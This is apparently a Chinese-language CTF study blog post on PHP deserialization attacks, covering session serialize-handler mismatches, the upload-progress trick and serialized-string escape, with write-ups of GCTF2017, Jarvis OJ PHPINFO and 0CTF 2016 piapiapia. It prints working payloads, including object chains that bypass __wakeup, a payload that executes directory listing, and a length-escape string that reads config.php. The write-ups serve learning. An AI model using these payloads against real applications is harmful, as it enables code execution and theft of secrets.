前言
发现自己的反序列化特别是pop链是真的不行,因此接下来要恶补下这一块,这次也是因为做题碰到了session反序列化所以来学习一波。
Session反序列化
了解php.ini中的Session设置
- session.save_path=”” –设置session的存储路径
- session.save_handler=””–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
- session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动
- session.serialize_handler string–定义用来序列化/反序列化的处理器名字,默认使用php
Session反序列化漏洞的出现
由于处理器对反序列化的处理方式不同,导致了序列化的储存格式的不同:
1 | php:键名|经过serialize()序列化的值 |
而如果程序使用两个引擎来分批处理session数列化结构的话,就会导致数据无法正确反序列化,导致可以构造payload绕过一些验证。
比如我们先存入session变量:
1 | <?php |
在Session文件中的内容:
1 | a:1:{s:5:"mrl64";s:39:"|O:6:"hacker":1:{s:4:"hack";s:3:"lol";} |
这时候我们模拟读取,但是用不同的处理器进行处理:
1 | <?php |
这时候我们发现会显的是lol
,说明__wakeup()
魔术方法被触发了,这是由于php处理器会将|
前的内容作为键名。
【GCTF2017】PHP序列化
审计index.php
:
1 | <?php |
接着根据提示访问query.php~
读取源码:
1 | session_start(); |
我们发现在index.php
中进行了ini_set()
,而query.php
却没有,因此是默认php处理器,符合session反序列化的前置。
接着观察源码,发现只有TOPC中存在echo
,而要让attr能够输出内容需要绕过TOPC中的__wakeup()
魔术方法。接着发现TOPB的__toString()
魔术方法中存在&FLAG
的赋值以及反序列化函数,因此我们要将attr赋值为TOPB对象从而触发这个魔术方法。而if的判断语句中需要$this->obj->token === $this->obj->ticket
,这里要建立引用关系$a->ticket = &$a->token;
来绕过判断。而要用到ticket
与token
则必须调用TOPA类,而要调用TOPA类就必须绕过if判断,但是由于这里是个弱比较,因此我们让username=password=0就可以了,0若等于字符串。
逻辑理完,构建exp:
1 | $A = new TOPA(); |
最后记得要绕过wakeup,并且加上|
,payload:
1 | |O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}} |
无$_SESSION变量的赋值
上面的题目中是存在$_SESSION['src']
进行赋值的,但是在有些题目中是没有的,这时候就要运用到php利用session上传进度了。
详细可以参考php手册:
Session上传进度
当一个上传在处理中,同时POST一个与INI中设置的
session.upload_progress.name
同名变量时,上传进度可以在$_SESSION
中获得。 当PHP检测到这种POST请求时,它会在$_SESSION
中添加一组数据, 索引是session.upload_progress.prefix
与session.upload_progress.name
连接在一起的值。通常这些键值可以通过读取INI设置来获得
简单说来,就是我们要构建一个表单,同时POST一个与session.upload_process.name
同名的变量,后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中,下次请求就会反序列化Session。
那么我们构建如下表单:
1 | <form action="http://xx.xx.xx.xx" method="POST" enctype="multipart/form-data"> |
【Jarvis OJ】PHPINFO
说那么多还是直接看题吧,查看源码:
1 | <?php |
比起pop链这种看起来就简单清晰多了,当我们随便输入一个值是就会触发__construct()
魔术方法,执行phpinfo。查看页面发现存在之前提到的那个问题,因此依然是Session反序列化。
而这个反序列化的逻辑也是十分简单的,相当于就是执行mdzz的语句,因此我们将phpinfo();
替换为print_r(scandir(dirname(__FILE__)));
,执行序列化,得到payload,记得要加上|
,用反斜杠防止转义:
1 | |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";} |
然后将之前那个表单保存为html格式,随便上传一个文件,然后抓包将文件内容改为payload,然后看到flag文件,去phpinfo中的SCRIPT_FILENAME
部分查看包含当前运行脚本的路径,然后用file_get_contents()
读取就可以了。
反序列化的字符串逃逸
反序列化基本知识
在理解字符串逃逸之前,我们必须对反序列化有一个前置知识的了解,不过这些内容是比较简单的,因此就大致说一下。
第一,php反序列化以;}
为结尾,并且根据长度判断内容。
比如我们构造这样一个序列化内容进行反序列化:
1 | O:6:"hacker":2:{s:4:"name";s:5:"mrl64";s:4:"pass";s:6:"123456";}s:5:"pass2";s:6:"123457" |
反序列化出的内容:
1 | class __PHP_Incomplete_Class#1 (3) { |
可以看出结束后面部分的内容是不会读取的,因此我们可以提前闭合序列化内容使后面的部分丢弃。
第二,长度不对应会返回bool(false)
这个就比较好理解了,也是为什么反复强调要对应长度,我们将下面这个payload进行反序列化:
1 | O:6:"hacker":2:{s:4:"name";s:5:"mrl64";s:4:"pass";s:7:"123456";} |
返回bool(false)
第三,相当重要的一点,反序列化可以反序列类中不存在的元素
例如我们的类是这样的:
1 | class hacker{ |
但是我们可以构建如下的payload:
1 | O:6:"hacker":3:{s:4:"name";s:5:"mrl64";s:4:"pass";s:6:"123456";s:3:"age";s:4:"2333";} |
将其反序列化可以发现,age依然成功反序列化出来了:
1 | class __PHP_Incomplete_Class#1 (4) { |
有了这些知识,我们就可以开始构造字符串逃逸相关的payload了。
如何构建字符串逃逸
首先我们要明白一点,字符串逃逸的本质就是改变序列化的长度,无论是变长还是变短,最终的被目的就是为了绕过一些waf。
核心其实都是一样的,通过题目漏洞构建payload使一些部分由于序列化的长度被识别为键名,从而进行绕过。这样说比较抽象,接下来我们用一道题认识改变字符串长度导致的的字符串逃逸。
[0CTF 2016]piapiapia
进入网页啥也没发现,测试了下登录框也不存在sql、ssti等注入,因此扫描目录,发现www.zip
,下载。
这个代码审计量有点大,首先是注册和登录,这个比较简单,基本没啥限制,因此先注册登录一个账号。接着是config.php
,发现flag内容存在这个文件里面,因此要想办法读取。
接着就是三个重点文件了,首先是登录成功后的update.php
:
1 | <?php |
匹配是否都有传值,并且对传入的值都进行了严格的正则匹配与长度限制,最后对我们传入的文件内容进行序列化。而我们发现这个php文件包含了class.php
,继续审计:
1 | <?php |
好长的类,一大堆函数,但是我们注意到filter
中将’select’, ‘insert’, ‘update’, ‘delete’, ‘where’全部替换成了’hacker’,这个点之后可以用来利用。
最后是存在反序列化的profile.php
文件:
1 | <?php |
最后这个文件就是读取了,用base64编码对上传文件进行了读取和显示。看完代码,我们知道我们要读取config.php
中的flag数据。而读取数据的位置在photo那里,因此我们需要增加payload的长度使得config.php
的位置被挤到photo的位置上。
首先构建序列化:
1 | <?php |
payload:
1 | a:4:{s:5:"phone";s:11:"12312312312";s:5:"email";s:13:"mrl64@163.com";s:8:"nickname";a:1:{i:0;s:4:"halo";}s:5:"photo";s:10:"config.php";} |
PHP在反序列化时,从左往右读取数据类型及长度,且只读取其中规定长度的数据,即当数据的长度大于规定的长度,后面还有数据也不再读取,而后面不再读取的数据,就会被挤到下一个数据项中。
这里需要构造超出长度的数据,将被挤出来的数据形成可以读取config.php 的数据项。首先最后一个部分的payload:
1 | ";}s:5:"photo";s:10:"config.php";} |
总共有34个字符,我们要让这些字符逃逸出来,就必须让nickname部分多出34个字符,这样我们最后部分的payload被读进nickname,既然从nickname逃逸出";}
,将前面的nickname数组闭合之后,剩下的s:5:"photo";s:10:"config.php";}
就会被当作photo的部分了。
我们发现where会被替换成hacker,因此每替换一次就会使长度增加一位,34个where就会增加34位。最后payload,将nickname类型改为数组并将内容改为payload:
1 | wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} |
过程如下:
- 刚开始传入:
1
a:4:{s:5:"phone";s:11:"12312312312";s:5:"email";s:13:"mrl64@163.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}s:39:"upload/07cc694b9b3fc636710fa08b6922c42b";}
此时";}s:5:"photo";s:10:"config.php";}
这些部分都是nickname的一部分
- 接着进行正则替换后,where被替换为hacker,导致再读取完第34个hacker之后就停止读取了,而
s:5:"photo";s:10:"config.php"
就替代了原来upload的地位,就是photo部分,而由于最后的";}
,导致反序列化提前结束,原来的upload不被执行。
上传,然后抓包,把nickname改为数组绕过,解base64得到flag。
总结
最近应该是死磕反序列化这一块了,先把欢乐新春赛那题写了,接着重点刷pop,并且学习原生类应用。